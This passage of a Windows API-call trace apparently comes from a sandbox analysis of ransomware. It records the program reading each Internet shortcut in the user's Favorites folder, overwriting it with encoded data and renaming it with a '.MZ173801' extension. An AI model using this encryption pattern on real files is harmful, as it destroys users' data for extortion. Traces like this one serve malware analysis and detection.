ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.213] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.213] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.213] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.213] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.213] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.213] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bfffc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE Add-on site.url.MZ173801", cAlternateFileName="IEADD-~1.MZ1")) returned 1 [0144.213] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.213] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.214] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bfffc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE site on Microsoft.com.url.MZ173801", cAlternateFileName="IESITE~1.MZ1")) returned 1 [0144.214] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.214] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.214] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c26120, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Home.url.MZ173801", cAlternateFileName="MICROS~1.MZ1")) returned 1 [0144.214] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.214] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.214] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c26120, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Work.url.MZ173801", cAlternateFileName="MICROS~2.MZ1")) returned 1 [0144.214] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.214] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.214] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.MZ173801", cAlternateFileName="MICROS~3.MZ1")) returned 1 [0144.214] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.214] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.214] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.MZ173801", cAlternateFileName="MICROS~3.MZ1")) returned 0 [0144.214] GetLastError () returned 0x12 [0144.214] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.214] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0144.214] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.214] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.214] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0144.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.216] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.218] GetCurrentThreadId () returned 0x9fc [0144.218] GetCurrentThreadId () returned 0x9fc [0144.218] GetCurrentThreadId () returned 0x9fc [0144.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.219] GetCurrentThreadId () returned 0x9fc [0144.219] GetCurrentThreadId () returned 0x9fc [0144.219] GetCurrentThreadId () returned 0x9fc [0144.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.219] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0144.219] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.219] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x85 [0144.219] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0144.220] ReadFile (in: hFile=0x224, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x85, lpOverlapped=0x0) returned 1 [0144.221] CloseHandle (hObject=0x224) returned 1 [0144.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.222] WriteFile (in: hFile=0x224, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0x85, lpOverlapped=0x0) returned 1 [0144.223] CloseHandle (hObject=0x224) returned 1 [0144.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.mz173801")) returned 1 [0144.223] GetCurrentThreadId () returned 0x9fc [0144.223] GetCurrentThreadId () returned 0x9fc [0144.223] GetCurrentThreadId () returned 0x9fc [0144.223] GetCurrentThreadId () returned 0x9fc [0144.223] GetCurrentThreadId () returned 0x9fc [0144.223] GetCurrentThreadId () returned 0x9fc [0144.223] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0144.223] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.224] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, 